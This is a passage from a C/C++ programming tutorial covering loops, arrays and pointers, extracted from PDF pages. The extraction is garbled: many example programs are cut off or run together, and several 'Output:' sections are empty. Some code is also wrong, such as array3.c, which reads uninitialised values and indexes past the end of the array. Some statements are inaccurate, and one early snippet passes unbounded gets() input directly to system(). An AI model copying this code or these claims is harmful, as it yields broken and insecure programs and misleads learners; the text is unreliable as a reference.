for(i=15; i>=0; i--)
{
/*second for loop, set the space...*/
for(j=15; j>=1+i; j--)
printf(" ");
/*third for loop, print the characters...*/
for(j=1; j<=2*i+1; j++)
/*print the character...*/
printf("H");
www.tenouk.com Page 31 of 33
/*go to new line...*/
printf("\n");
}
Triangle lol!
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHH
HHHHHHHHHHHHH
HHHHHHHHHHH
HHHHHHHHH
HHHHHHH
HHHHH
HHH
H
T
TTT
TTTTT
TTTTTTT
TTTTTTTTT
TTTTTTTTTTT
TTTTTTTTTTTTT
TTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT
/*-----------whilelol.c---------------*/
/*Demonstrates a simple while statement*/
#include <stdio.h>
int main()
{
int calculate, sum = 0;
/*print the numbers 1 through 12*/
/*set the initial value...*/
calculate = 1;
/*set the while condition...*/
while(calculate <= 10)
{
/*display...*/
printf("%d -->Sum = %d\n", calculate, sum);
sum = sum + calculate;
/*increment by 1...repeats*/
calculate++;
}
printf("\n");
return 0;
}
www.tenouk.com Page 32 of 33
1 -->Sum = 0
2 -->Sum = 1
3 -->Sum = 3
4 -->Sum = 6
5 -->Sum = 10
6 -->Sum = 15
7 -->Sum = 21
8 -->Sum = 28
9 -->Sum = 36
10 -->Sum = 45
int main()
{
//Declare a buffer to hold input
char input[40];
while (1)
{
//get the user command
puts("\nInput the command, blank to exit");
gets(input);
//Exit if a blank line was entered
if(input[0] == '\0')
exit(0);
//execute the command
system(input);
}
return 0;
}
[bodo@bakawali ~]$
------------------------------------------------------o0o------------------------------------------------------
www.tenouk.com Page 33 of 33
MODULE 7
DERIVED DATA TYPE - ARRAY
Abilities
- Up till this Module we were introduced with simple data types that suit to simple applications. For
aggregate data, with same type of element we can use Array.
- An array in C/C++ is a collection of related data elements of the same type that are referenced by a
common name. Generally, it is just another data type, aggregate data type.
- All the elements of an array occupy a set of contiguous memory locations and by using an index or
subscript we can identify each element.
- For example, instead of declaring mark1, mark2, ..., markN to store and manipulate a set of marks
obtained by the students in certain courses, we could declare a single array variable named mark and
use an index, such as j, to refer to each element in mark. This absolutely has simplified our
declaration of the variables.
- Hence, mark[j] would refer to the jth element in the array mark. Thus by changing the value of j,
we could refer to any element in the array, so it simplifies our declaration.
- For example, if we have 100 list of marks of integer type, we will declare it as follows:
- If we have 100 marks to be stored, you can imagine how long we have to write the declaration part by
using normal variable declaration?
- By using an array, we just declare like this:
int mark[100];
- This will reserve 100 contiguous/sequential memory locations for storing the integer data type.
- Graphically can be depicted as follows:
- Dimension refers to the array size that is how big the array is. A single dimensional array declaration
has the following form:
array_element_data_type array_name[array_size];
Page 1 of 23
- Here, array_element_data_type declares the base type of the array, which is the type of each
element in the array. array_size defines how many elements the array will hold. array_name is
any valid C/C++ identifier name that obeys the same rule for the identifier naming.
- For example, to declare an array of 20 characters, named character, we could use:
char character[20];
- In this statement, the array character can store up to 20 characters with the first character
occupying location character[0] and the last character occupying character[19]. Note that
the index runs from 0 to 19. In C/C++, an index always starts from 0 and ends with (array size-1). So,
notice the difference between the array size and subscript terms.
- Examples of the one-dimensional array declarations:
- The first example declares two arrays named x and y of type int. Array x can store up to 20 integer
numbers while y can store up to 50 numbers. The second line declares the array price of type
float. It can store up to 10 floating-point values.
- The third one declares the array letter of type char. It can store a string up to 69 characters. (Why
69? Remember, a string has a null character (\0) at the end, so we must reserve for it.)
- Just like ordinary variables, arrays of the same data type can be declared on the same line. They can
also be mixed with ordinary variables of the same data type like in the second line together with
yield.
- An array may be initialized at the time of its declaration, which means to give initial values to an array.
Initialization of an array may takes the following form:
- For examples:
- The first line declares an integer array id and it immediately assigns the values 1, 2, 3, …, 7 to
id[0], id[1], id[2],…, id[6].
- In the second line assigns the values 5.6 to x[0], 5.7 to x[1], and so on.
- Similarly the third line assigns the characters ‘a’ to vowel[0], ‘e’ to vowel[1], and so on. Note
again, for characters we must use the single apostrophe (’) to enclose them. Also, the last character
in the array vowel is the NULL character (‘\0’).
- Initialization of an array of type char for holding strings may takes the following form:
- For example, the array vowel in the above example could have been written more compactly as
follows:
Page 2 of 23
char vowel[6] = "aeiou";
- When the value assigned to a character array is a string (which must be enclosed in double quotes), the
compiler automatically supplies the NULL character but we still have to reserve one extra place for the
NULL.
1. A pointer.
2. A sized array (dimension is explicitly stated), e.g. s[20] or
3. An unsized array (dimension is not stated), e.g. p[ ].
- For example, to receive an array named x of type float in functions, we may declare any one of the
following:
- But you will see later, the second and third methods not used in practice.
- The following program segment illustrates the passing of an array address to a function using a pointer.
- Here, the memory address of x is passed to the parameter pter, a pointer. Remember this; an array
name (without the size) is the pointer to the first array’s element. We will discuss this in more
detail in another Module.
// function prototype
void func(float *);
int main()
{
float x[5];
// function definition
void func(float *pter)
{ return; }
1.2 Array Manipulation: How to use an array and what array can do?
- The following program example declares and initializes the array named y of type int. It uses a for
loop with index i to access the successive elements in y. For each loop iteration, the value accessed is
added to the variable total, which is finally displayed. Note that the loop index i run from 0 to 6,
not 1 to 7. Also, note that the array size n is declared in the #define statement.
int main()
{
Page 3 of 23
int i, total = 0, y[n] = {6,9,2,4,5,23,12};
Output:
- You can see that the for loop is very useful when you wish to loop or iterate through every element of
an array.
- The next program example, accomplishes the same task as the previous one. By using get_total()
function, the main() passes the first memory address (pointed by the pointer) of an array, y and its
size, n to the function get_total() which then computes and returns the total, total. Note the
function prototype:
//function prototype
int get_total(int*, int);
int main()
{
int total, y[n]={6,9,2,4,5,23,12};
//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;
//do the looping for array elements...
for(i=0; i<x; i++)
{
//displays the array content, pointed by pointer...
Page 4 of 23
cout<<*(ptr+i)<<" ";
//do the summing up of the array elements...
total += *(ptr+i); //total=total + *(ptr+i);
}
//return the result to the calling program...
return total;
}
Output:
- C++ program example compiled using g++ (for more information refers to Module000).
//**********gccarray.C or gccarray.cpp************
//************FeDoRa 3, g++ x.x.x**********
//program to find the total values of an
//array y by passing an array to a function
//using pointer
#include <iostream>
#define n 7
using namespace std;
//function prototype
int get_total(int*, int);
int main()
{
int total, y[n]={6,9,2,4,5,23,12};
//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;
//do the looping for array elements...
for(i=0; i<x; i++)
{
//displays the array content, pointed by pointer...
cout<<*(ptr+i)<<" ";
//do the summing up of the array elements...
total += *(ptr+i); //total=total + *(ptr+i);
}
//return the result to the calling program...
return total;
}
Page 5 of 23
Calling function get_total(y, n),
By bringing along the value of y, an array
first address and n = 7, an array size.
An array name, is the pointer to the
1st element of an array
6 9 2 4 5 23 12
Sum of the 7 array elements is 61
[bodo@bakawali ~]$
- To search an array for a value, you can use a for loop within the if statement. In other words, the
program looks at each element in the array and checks if it matches the given value in the if
expression.
- The following example, finds the smallest element in the array named balance. First, it assumes that
the smallest value is in balance[0] and assigns it to the variable small.
- Then it compares small with the rest of the values in balance, one at a time.
int main()
{
int i;
float small, balance[n]={100.00,40.00,-30.00,400.00,60.00,-25.00,-
24.00,0.00,3.24,0.50};
small = balance[0];
//loop for displaying array content....
for(i=0; i<n; i++)
cout<<balance[i]<<" ";
Output:
- When an element is smaller than the current value contained in small, it is assigned to small. The
process finally places the smallest array element in small.
- Study the program and the output.
Page 6 of 23
- You must use a third variable as in the following example:
- Sorting is defined as arranging data in a certain order, is a very common activity in data processing.
Many algorithms (techniques) are available to perform sorting.
- One sorting algorithm, which is quite simple to understand, but not necessarily the best, is given in the
following program example. It sorts a list of integers in ascending order of magnitude by using an
array.
- For more algorithms implemented using Template of STL (C++), you can refer to Tutorial #5.
int main()
{
int temp, i, j, n, list[maxsize];
Page 7 of 23
list[i] = list[j];
list[j] = temp;
}
cout<<"\nSorted list, ascending: ";
Output:
- Some data fit better in a table with several rows and columns. This can be constructed by using two-
dimensional arrays.
- A two dimensional array has two subscripts/indexes. The first subscript refers to the row, and the
second, to the column. Its declaration has the following form:
- For examples:
int x[3][4];
float matrix[20][25];
- The first line declares x as an integer array with 3 rows and 4 columns and the second line declares a
matrix as a floating-point array with 20 rows and 25 columns.
- Descriptively, int x[3][4] can be depicted as follows:
Page 8 of 23
- You can see that for [3][4] two-dimension array size; the total array size (the total array elements) is
equal to 12. Hence:
- The item list is read starting from the first row from left to right, and then goes to the next row and so
on.
- A set of string s can be stored in a two-dimensional character array with the left index specifying the
number of strings and the right index specifying the maximum length of each string.
- For example, to store a list of 3 names with a maximum length of 10 characters in each name, we can
declare:
char name[4][10];
//can store 4 names, each is 10 characters long
- Just like the one-dimensional array, a two dimensional array can also be initialized. For example, the
previous first array declaration can be rewritten along with initial assignments in any of the following
ways:
- Or
- Notice the same subscript for the rows and columns; it is in the diagonal line.
- You can show how the rows are filled during its initialization. For example, the array named x can be
declared as follows:
- If the number of values given is insufficient to fill in the whole array, an initial value of zero will be
assigned to all those locations, which are not given initial values explicitly.
- For example:
Page 9 of 23
- So, an initial value of zero will be assigned to x[2][2] and x[2][3]. Similarly, in declaration:
- An initial value of zero will be assigned to x[0][3], x[1][3] and x[2][3]. You can fill the
whole array with zeroes by using:
- In memory, despite their table-form arrangement, the elements of a two-dimensional array are stored
sequentially, that mean one after another contiguously.
- An array of string can also be initialized. For example, in the following declaration:
- Note that the second subscript here is unnecessary and therefore omitted.
- The following example prints the 3 x 3 array’s subscript and their element.
int main()
{
int i, j;
int x[m][n]={{10,25,33}, {21,32,43},{20,42,51}};
Output:
Page 10 of 23
- The following program example illustrates the use of two-dimensional arrays. This program calculates
the average of all the elements in the integer array named x. The program uses two nested for loops.
- The outer loop with index i provides the row subscript. The nested for loops therefore accesses each
element of the array and the inner loop with index j provides the column subscript.
int main()
{
int i, j, total = 0;
//an 4x5 or [4][5] array variable...
int q[m][n]={{4,5,6,2,12},{10,25,33,22,11},
{21,32,43,54,65},{3,2,1,5,6}};
float average;
Output:
Page 11 of 23
- Study the program and the output.
- The next example computes the square root of the sum of the squares of all the positive elements in
array named x. It uses the header file math.h since it contains the mathematical functions pow()
(for taking the power of a number) and sqrt() (for taking the square root of a number).
int main()
{
int i, j;
int x[m][n]={{4,5,6,2,12},{10,25,33,22,11},
{21,32,43,54,65},{3,2,1,5,6}};
Page 12 of 23
}
Output:
int main()
{
int i, j, k;
//first matrix...
int x[m][c] = {{1,2},{3,4},{5,6}};
//second matrix...
int y[c][n] = {{7,8,9,10},{11,12,13,14}};
//for storing the matrix product result...
int z[m][n];
Output:
Page 13 of 23
- Study the program and the output.
- When an array has more than one dimension, we call it a multidimensional array.
- We have already looked at multidimensional arrays with two dimensions. The declaration and
manipulation of other multidimensional arrays in C/C++ are quite similar to that of the two
dimensional array.
- The declaration takes the following form:
Data_type name[size1][size2]…[sizeN];
- For example:
int y[4][5][3];
------------------------------o0o--------------------------------
---www.tenouk.com---
Program Examples
Example #1
int main()
{
//declare and initialize the array named a
//with size SIZE
int a[SIZE] = {1,3,5,4,7,2,99,16,45,67,89,45};
//declare two normal variables
int i, total = 0;
Page 14 of 23
Output:
Example #2
int main()
{
//declare and initialize an array named n
//with size SIZE...
int n[SIZE] = {19, 3, 15, 7, 11, 9, 13, 5, 17, 1};
int i, j;
Output:
Page 15 of 23
Example #3
int main()
{
int a[SIZE] = {34,6,41,58,0,12,89,-2,45,25};
int i, pass, hold;
Output:
- By changing the following code in the above program, recompile and re run the program. You will get
the descending order.
Page 16 of 23
Example #4
//function prototype
void printArray(int [][3]);
int main()
{
//declare 3 array with initial values...
int array1[2][3] = {{1,2,3}, {4,5,6}},
array2[2][3] = {{1,2,3},{4,5}},
array3[2][3] = {{1,2}, {4}};
Output:
Page 17 of 23
Example #5
int main()
{
//declare two arrays named tname with 1-Dimension
//and name with 2-Dimension
char tname[20], name[20][20];
//normal variables...
int i, j, n;
//inner for loop, read row by row set outer for loop...
for(i=0; i<n-1; i++)
//innermost for loop, read column by column of the characters...
for(j = i+1; j<n; j++)
//set the condition...
//strcmp - compare the string standard library function
//do the sorting...
if(strcmp(name[i], name[j])>0)
{
//strcpy - copy the strings...
//compare and swap...
strcpy(tname, name[i]);
strcpy(name[i], name[j]);
strcpy(name[j], tname);
}
cout<<"\nSorted names:\n";
for (i =0; i<n; i++)
cout<<"\n"<<name[i];
cout<<endl;
system("pause");
return 0;
}
Sample output:
Page 18 of 23
- Program example compiled using VC++/VC++ .Net.
int main()
{
int a[SIZE] = {-4,6,3,-20,0,1,77,-2,42,-10};
int i, pass, hold;
Output:
Page 19 of 23
- In C++, you can use member functions, operators, and classes etc. of the <valarrary> template
based header file of the Standard Template Library (STL). It is designed for performing high-speed
mathematical operations, and optimized for computational performance.
- The class is a one-dimensional smart array that checks subscript references at run time to confirm that
they are in bound.
- Also, in C++ many array constructs and manipulations accomplished using routines in Standard
Template Library (STL). For further discussion, please refer to Tutorial #4.
- Take care also when you use arrays as buffers for storing strings (NULL terminated). Many standard
functions for string operations such as strcpy() do not do the bound checking. This will result a
buffer overflow.
- For example, consider the following program:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
- The output, when the input is: 12345678 (8 bytes), the program run smoothly.
Page 20 of 23
- When the input is: 123456789 (9 bytes), the following will be displayed when compiled with Microsoft
Visual C++ 6.0. In Linux the “Segmentation fault” message will be displayed and the program
terminates.
- The vulnerability exist because the mybuffer could be overflowed if the user input (argv[1])
bigger than 8 bytes. Why 8 bytes? For 32 bit (4 bytes) system, we must fill up a double word (32 bits)
memory.
- Character (char) size is 1 byte, so if we request buffer with 5 bytes, the system will allocate 2 double
words (8 bytes). That is why when you input more than 8 bytes, the mybuffer will be overflowed!
- The system tries to write beyond the allocated storage (memory) which may be occupied by other
important data.
- You may use safer type functions or insert some codes that do the bound checking.
- In real world, the buffer overflow vulnerabilities have been widely exploited by viruses, worms and
malicious codes.
- As a final note for this Module, the following are previous program examples compiled using gcc.
/************array3.c**************/
/*program to find the smallest number in an array named balance*/
/*simple search function*/
#include <stdio.h>
#define n 7
int main()
{
int i;
int small, balance[n];
small = balance[0];
/*Another loop do the array element comparing...*/
for(i=1; i<=n; i++) /*check until i=n*/
{
if(small > balance[i])
small = balance[i];
}
printf("\nComparing...");
/*display the result...*/
printf("The smallest value in the given array is = %d \n", small);
return 0;
}
Page 21 of 23
Key in float value, let me ... for you: 3
12 -21 4 -3 0 7 -41 3
Comparing...The smallest value in the given array is = -41
/************array1.c*****************/
/*Simple sorting program that sort a list of n*/
/*integer numbers, entered by the user (ascending)*/
#include <stdio.h>
#define maxsize 100
int main()
{
int temp, i, j, n, list[maxsize];
/**********************array2.c********************/
/*Printing 3x3 array's subscript and their element*/
#include <stdio.h>
#define m 3
#define n 3
Page 22 of 23
int main()
{
int i, j;
int x[m][n];
-----------------------------------------------------o0o -----------------------------------------------------
Page 23 of 23
MODULE 8
DERIVED DATA TYPE - POINTERS
Point to here, point to there, point to that, point to this, and point to nothing!
But Oh N0000! they are just memory addresses!!
Note: This Module may be one of the toughest topics in C/C++ that complained by students :o), although it is one
of the most important topic.
Abilities
- Pointers provide a powerful and flexible method for manipulating data in programs.
- Some program routines can be more efficiently executed with pointers than without them, and some
routines can be performed only with pointers.
- To understand how to use pointers, a programmer must have a basic knowledge of how a computer
stores information in memory. Pointers closely relate to memory manipulation.
- Basically, a personal computer Random Access Memory (RAM) consists thousands of sequential
storage locations, with each location being identified by a unique address. Computer’s processor also
has their own memory, normally called registers and cache. They differ in term of access speed, price
and their usage.
- The memory addresses in a given computer, range from 0 to a maximum value that depends on the
amount of physical memory installed.
- Nowadays 128, 256 MB up to GB of RAM installed on the PCs are normal.
- Computer memory is used for storage, when program runs on the computer and for processing data and
instructions.
- For example, when you use Microsoft Word program, it will occupy some of the computer’s memory.
- In a very simple way, each program requires two portions of the memory that is:
- Now we just concentrate the memory storage for program data, the data segment. Details of the
memory allocation story can be found in ModuleW and ModuleZ.
- When the programmer declares a variable in a C/C++ program, the compiler sets aside a memory
location with a unique address to store that variable.
- The compiler associates that address with the variable’s name. When the program uses the variable
name, it automatically accesses the proper memory location.
- The locations address remains hidden from the programmer, and the programmer need not be
concerned with it. What we are going to do is to manipulate the memory addresses by using pointers.
- Let say we declare one variable named rate of type integer and assign an initial value as follows:
- Then the variable is stored at a specific memory address and as an illustration, can be depicted as
follows:
www.tenouk.com Page 1 of 31
Figure 8.1
- You can see, the memory address of the variable rate (or any other variable) is a number, so can be
treated like any other number in C/C++. Normally the number is in hexadecimal format.
- Then, if a variable’s memory address is known, the programmer can create a second variable for
storing a memory address of the first variable.
- From the above Figure, we can declare another variable to hold the memory address of variable rate;
let say gives it a name, s_rate (Figure 8.2).
- At the beginning, s_rate is uninitialized. So, storage has been allocated for s_rate, but its value is
undetermined, as shown below.
Figure 8.2
- Let store the memory address of variable rate, in variable s_rate, so, s_rate now contains the
memory address of rate, which indicates its storage location in memory where the actual data (100)
is stored.
- Finally, in C/C++ vocabulary, s_rate is pointing to rate or is said a pointer to rate and final
illustration is shown below.
Figure 8.3
- In simplified form:
Figure 8.4
www.tenouk.com Page 2 of 31
int *s_rate;
- In other word, the variable s_rate contains the memory address of the variable rate and is therefore
a pointer to rate. The asterisk (*) is used to show that is it the pointer variable instead of normal
variable.
- The definition: A pointer is a variable that contains the memory address of another variable, where, the
actual data is stored.
- By using pointers, it is an efficient way of accessing and manipulating data. From user side implicitly,
it contains the actual location of your data, where the compiler can find that data in memory.
- This is very useful for dynamic and efficient memory management programming as we know memory,
registers and cache are scarce in computer system.
- Why it is very efficient way? One of the reasons is because for every computer system, it is provided
with fixed and limited amount of memory for temporary data storage and processing.
- During the usage of computers, for example, the initialization of the Operating System and running
programs (processes), there are loading and unloading data into and from the memory respectively,
including the cache memory and the processors’ registers for temporary data storage and processing.
This loading and unloading need an efficient memory management.
- Furthermore some of the memory portion of computer system also used for shared data to further
optimizes the utilization.
- Apart from primary memory, secondary memory also involved in this memory management through
swapping and paging.
- Newer computer applications such as real time processing, graphic manipulations and complex
mathematical calculations widely known for their memory intensive applications need storage
efficiency to fully utilize the scarce computer memory.
- By using pointers, the usage of this fixed storage should be optimized.
- Yes, you can add extra memory module but without the usage ‘optimization’, it is not fully utilized
somewhere, not sometime but most of the times :o).
- Familiar with the dead blue screen? Pointers also generate many bugs in programs if used improperly
or maliciously :o).
- A pointer is a numeric variable and like other variables, as you have learned before, must be declared
and initialized before it can be used.
- The following is a general form for declaring a pointer variable:
data_type *pointer_variable_name;
- For example:
char* x;
int * type_of_car;
float *value;
- data_type is any valid C/C++ type. It is the pointer base type such as char, int or float. It
indicates the type of the variable’s data to which the pointer points.
- pointer_variable_name follows the same rules as other variables naming convention and must
be unique.
- From the above pointer declaration example, in the first line, the declaration tells us that x is a pointer
to a variable of type char.
- The asterisk (*) is called indirection operator, and it indicates that x is a pointer to type char and not
a normal variable of type char. Note the position of the *, it is valid for all the three positions.
- Pointers can be declared along with non pointer variables as shown below:
www.tenouk.com Page 3 of 31
- Once a pointer is declared, the programmer must initialize the pointer, that is, make the pointer point to
something. Don’t make it point to nothing; it is dangerous.
- Like regular variables, uninitialized pointers will not cause a compiler error, but using an uninitialized
pointer could result in unpredictable and potentially disastrous outcomes.
- Until pointer holds an address of a variable, it isn’t useful.
- C/C++ uses two pointer operators:
- When & placed before the name of a variable, the address-of-operator returns the memory address of
the variable/operand.
- For example:
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
int *m;
Output:
- Therefore a pointer must be initialized with a statement that uses & operator as shown below:
- This statement means places the memory address of variable location into variable m. The memory
address refers to the computer’s internal location where the actual data is stored. What and where the
address, is determined by the system.
- In other word, pointer variable m receives the address of variable location or the memory address of
the variable location is assigned to pointer variable m.
- Graphically:
www.tenouk.com Page 4 of 31
Figure 8.5
- Let re-examine the indirection operator (*). Actually * is a complement of &. It means returns the
value of the variable located at the address that follows.
- From the previous example:
int *m;
m = &location;
location = 200;
q = *m;
- The q = *m; statement will place the actual data value stored in variable location into variable
q. That means q receives the actual data value stored at the memory address hold by variable m or the
value stored in the variable location pointed to by variable m. Very confused huh?
- The * operator appears before a pointer variable in only two places:
- Only the addition and subtraction operations are permitted in expression involving pointers.
- As with any variable, a pointer may be used on the right hand side of an assignment statement to assign
its value to another pointer as shown in the following example.
void main()
{
int num = 10, *point_one, *point_two;
//declares an integer variable and two pointers variables
point_one = #
//assigns the address of variable num to pointer point_one
point_two = point_one;
//assigns the (address) point_one to point_two
cout<<"Pointers variables..."<<endl;
cout<<"*point_one = "<<*point_one<<"\n";
cout<<"*point_two = "<<*point_two<<"\n";
cout<<"\nNormal variable..."<<endl;
cout<<"num = "<<num<<"\n";
Output:
www.tenouk.com Page 5 of 31
- The program example can be illustrated graphically as shown below. The memory address is
arbitrarily chosen.
Figure 8.6
- Notice the difference between memory address and actual data value, which stored at the memory
address. Do not worry about the addresses, they are determined and provided by the system.
- From the above example, we can:
1. Access the contents of a variable by using the variable name (num) and is called direct access.
2. Access the contents of a variable by using a pointer to the variable (*point_one or
*point_two) and is called indirect access or indirection.
- As conclusion, if a pointer named pter of type int has been initialized to point to the variable
named var, the following are true:
int *pter;
pter = &var;
3. *pter and var both refer to the contents of var (that is, whatever data value stored
there).
4. pter and &var refer to the address of var (the pter only hold the address of variable
var not the actual data value).
- So, a pointer name without the indirection operator (*) accesses the pointer value itself, which is of
course, the address of the variable pointed to. Very confused :o).
- Another example:
void main()
{
//Declare and initialize an int variable
int var = 34;
//Declare a pointer to int variable
int *ptr;
www.tenouk.com Page 6 of 31
//you can use %p for the pointer memory address directly or
//%0x or %0X in hexadecimal representative instead of
//%d, just to avoid confusion here…
printf("\nIndirect access, variable var value = *ptr = %d", *ptr);
Output:
- The address displayed for variable var may not be 4094 on your system because different computer
will have different specification.
- For pointer arithmetic operation, only two arithmetic operations, that is addition and subtraction
available. For example:
- So, C/C++ reserved storage for the variable age and store the value 25 in it.
- Let say, C/C++ has stored this value at the memory address 1000, and we declare a pointer variable
named ptr_age that point to the variable age.
- Then after the following expressions have been executed:
int *ptr_age;
ptr_age = &age;
ptr_age++;
- The content of the pointer then becomes 1002, not 1001 anymore (integer value takes two byte so
C/C++ add 2 to the pointer).
- Different variable types occupy different amount of memory also depend on the platform used, whether
16, 32 or 64 bits. For example for 16 bits platform:
int = 2 byte.
float = 4 byte.
- Each time the pointer is incremented, it points to the next integer and similarly, when a pointer is
decremented, it points to the previous integer.
- Each individual byte of memory has it own address; so multibyte variable actually occupies several
addresses.
- When pointers used to handle the addresses of multibyte variables, the address of a variable is actually
the address of the lowest byte it occupies.
- For example:
www.tenouk.com Page 7 of 31
Figure 8.7
- So:
- Then, how to declare and initialized pointers to these 3 variables? As explained to you before,
- Declaration - declare the pointer variables:
int *p_vint;
char *p_vchar;
float *p_vfloat;
- Initialization - assign the addresses of the normal variables to the new pointer variables.
p_vint = &vint;
p_vchar = &vchar;
p_vfloat = &vfloat;
- Then pointer is equal to the address of the first byte of the pointed-to variable. So:
- We have to understand this concept because we are dealing with addresses, not the actual data as
before.
- Other pointer arithmetic operation is called differencing, which refers to subtracting 2 pointers.
- For example, two pointers that point to different elements of the same array can be subtracted to find
out how far apart they are.
- Pointer arithmetic automatically scales the answer, so that it refers to the array elements.
- Thus, if ptr1 and ptr2 point to elements of an array (of any type), the following expression tells you
how far apart the elements are:
ptr1 – ptr2;
- The comparison is valid only between pointers that point to the same array.
- Under this circumstances, the following relational operators work for pointers operation.
- A lower array element that is those having a smaller subscript, always have a lower address than the
higher array elements.
- Thus if ptr1 and ptr2 point to elements of the same array, the following comparison:
www.tenouk.com Page 8 of 31
- Many arithmetic operations that can be performed with regular variables, such as multiplication and
division, do not work with pointers and will generate errors in C/C++.
- The following table is a summary of pointer operations.
Operation Description
You can assign a value to a pointer. The value should be an
1. Assignment (=) address with the address-of-operator (&) or from a pointer
constant (array name)
The indirection operator (*) gives the value stored in the pointed
2. Indirection (*)
to location.
You can use the address-of operator to find the address of a
3. Address of (&)
pointer, so you can use pointers to pointers.
You can add an integer to a pointer to point to a different memory
4. Incrementing
location.
You can subtract an integer from a pointer to point to a different
5. Differencing
memory location.
6. Comparison Valid only with 2 pointers that point to the same array.
int *ptr;
- This statement declares a pointer to type int but not yet initialized, so it doesn’t point to anything
known.
- Then, consider the following pointer assignment statement:
*ptr = 12;
// this is not an address lol!
- This statement means the value 12 is assigned to whatever address ptr point to. That address can be
almost anywhere in memory.
- The 12 stored in that location may overwrite some important information, and the result can be
anything from storage program errors to a full system crash. So, you must initialize a pointer so that it
point to something. Do not create a stray pointer.
- A better solution may be you can assign NULL (\0) value during the initialization before using the
pointer, by pointing it to something useful or for pointer that point to a string you may just point to an
empty string for dummy such as:
- Program example:
#include <stdio.h>
#include <stdlib.h>
int main()
{
int *thepointer;
thepointer = NULL;
//do some testing....
printf("The thepointer pointer is pointing to = %X\n", thepointer);
printf("The thepointer pointer is pointing to = %d\n", thepointer);
system("pause");
return 0;
}
Output:
www.tenouk.com Page 9 of 31
8.7 Arrays And Pointers
- A special relationship exists between pointers and arrays and this have been explained briefly in
Module Array.
- An array name without brackets is a pointer to the array’s first element. So, if a program declared an
array data[], data (array’s name) is the address of the first array element and is equivalent to the
expression &data[0] that means references the address of the array’s first element.
- The array’s name is, therefore a pointer to the array’s first element and therefore to the string if any.
- A pointer is a constant. It cannot be changed and remains fixed for the duration of program execution.
- Many string operations in C/C++ are typically performed by using pointers because strings tend to be
accessed in a strictly sequential manner.
- Program example.
void main()
{
//an array variable of type char, sized 79
char sentence[80];
Output:
Figure 8.8
- Element of an array are stored in sequential memory locations with the first element in the lowest
address.
- Subsequent array elements, those with an index greater than 0 are stored at higher addresses.
www.tenouk.com Page 10 of 31
- As mentioned before, array of type int occupies 2 byte of memory and a type float occupies 4
byte.
- So, for float type, each element is located 4 bytes higher than the preceding element, and the address
of each array element is 4 higher than the address of the preceding element.
- For example, relationship between array storage and addresses for a 6-elements int array and a 3-
elements float array is illustrated below.
Figure 8.9
- The x variable without the array brackets is the address of the first element of the array, x[0].
- The element is at address of 1000; the second element is 1002 and so on.
- As conclusion, to access successive elements of an array of a particular data type, a pointer must be
increased by the sizeof(data_type). sizeof() function returns the size in bytes of a C/C++
data type. Let take a look at the following example:
void main()
{
//declare three arrays and a counter variable
int i[10], x;
float f[10];
double d[10];
Output:
www.tenouk.com Page 11 of 31
- Notice the difference between the element addresses.
- The size of the data type depends on the specification of your compiler, whether your target is 16, 32 or
64 bits systems, the output of the program may be different for different PC. The addresses also may
different.
- Try another program example.
void main()
{
//declare and initialize an integer array
int array1[MAX] = {0,1,2,3,4,5,6,7,8,9};
//declare a pointer to int and an int variable
int *ptr1, count;
//declare and initialize a float array
float array2[MAX] = {0.0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9};
//declare a pointer to float
float *ptr2;
Output:
www.tenouk.com Page 12 of 31
- Let make it clear, if an array named list[] is a declared array, the expression *list is the array’s
first element, *(list + 1) is the array’s second element, and so on.
- Generally, the relationship is as follows:
- So, you can see the equivalence of array subscript notation and array pointer notation.
- Pointers may be arrayed like any other data type. The declaration for an int pointer array of size 20
is:
int *arrayPtr[20];
- To assign the address of an integer variables called var to the first element of the array, we could
write something like this:
arrayPtr[0] = &var;
Figure 8.10
- To find the value stored in var, we could write something like this:
*arrayPtr[0]
- To pass an array of pointers to a function, we simply call the function with the array’s name without
any index/subscript, because this is automatically a pointer to the first element of the array, as
explained before.
- For example, to pass the array named arrayPtr to viewArray function, we write the following
statement:
www.tenouk.com Page 13 of 31
viewArray(arrayPtr);
- The following program example demonstrates the passing of a pointer array to a function. It first
declares and initializes the array variable var (not a pointer array).
- Then it assigns the address of each element (var[i]) to the corresponding pointer element
(arrayPtr[i]).
- Next, the array arrayPtr is passed to the array’s parameter q in the function viewArray(). The
function displays the elements pointed to by q (that is the values of the elements in array var) and
then passes control back to main().
void main()
{
//declare and initialize the array variables...
int i,*arrayPtr[7], var[7]={3,4,4,2,1,3,1};
//function prototype...
//arrayPtr is now passed to parameter q,
//q[i] now points to var[i]
void viewArray(int *q[])
{
int j;
for(j = 0; j < 7; j++)
cout<<*q[j]<<" ";
//displays the element var[i] pointed to by q[j]
//followed by a space. No value is returned
//and control reverts to main()
}
Output:
- Graphically, the construct of a pointer to pointer can be depicted as shown below. pointer_one is
the first pointer, pointing to the second pointer, pointer_two and finally pointer_two is
pointing to a normal variable num that hold integer 10.
Figure 8.11
www.tenouk.com Page 14 of 31
- Another explanation, from the following figure, a pointer to a variable (first figure) is a single
indirection but if a pointer points to another pointer (the second figure), then we have a double or
multiple indirections.
Figure 8.12
- For the second figure, the second pointer is not a pointer to an ordinary variable, but rather, a pointer to
another pointer that points to an ordinary pointer.
- In other words, the second pointer points to the first pointer, which in turn points to the variable that
contains the data value.
- In order to indirectly access the target value pointed to by a pointer to a pointer, the asterisk operator
must be applied twice. For example, the following declaration:
int **SecondPtr;
- Tell the compiler that SecondPtr is a pointer to a pointer of type integer. Pointer to pointer is rarely
used but you will find it regularly in programs that accept argument(s) from command line.
- Consider the following declarations:
Figure 8.13
chs = ‘A’;
ptpch = &chs;
ptptpch = ptchs;
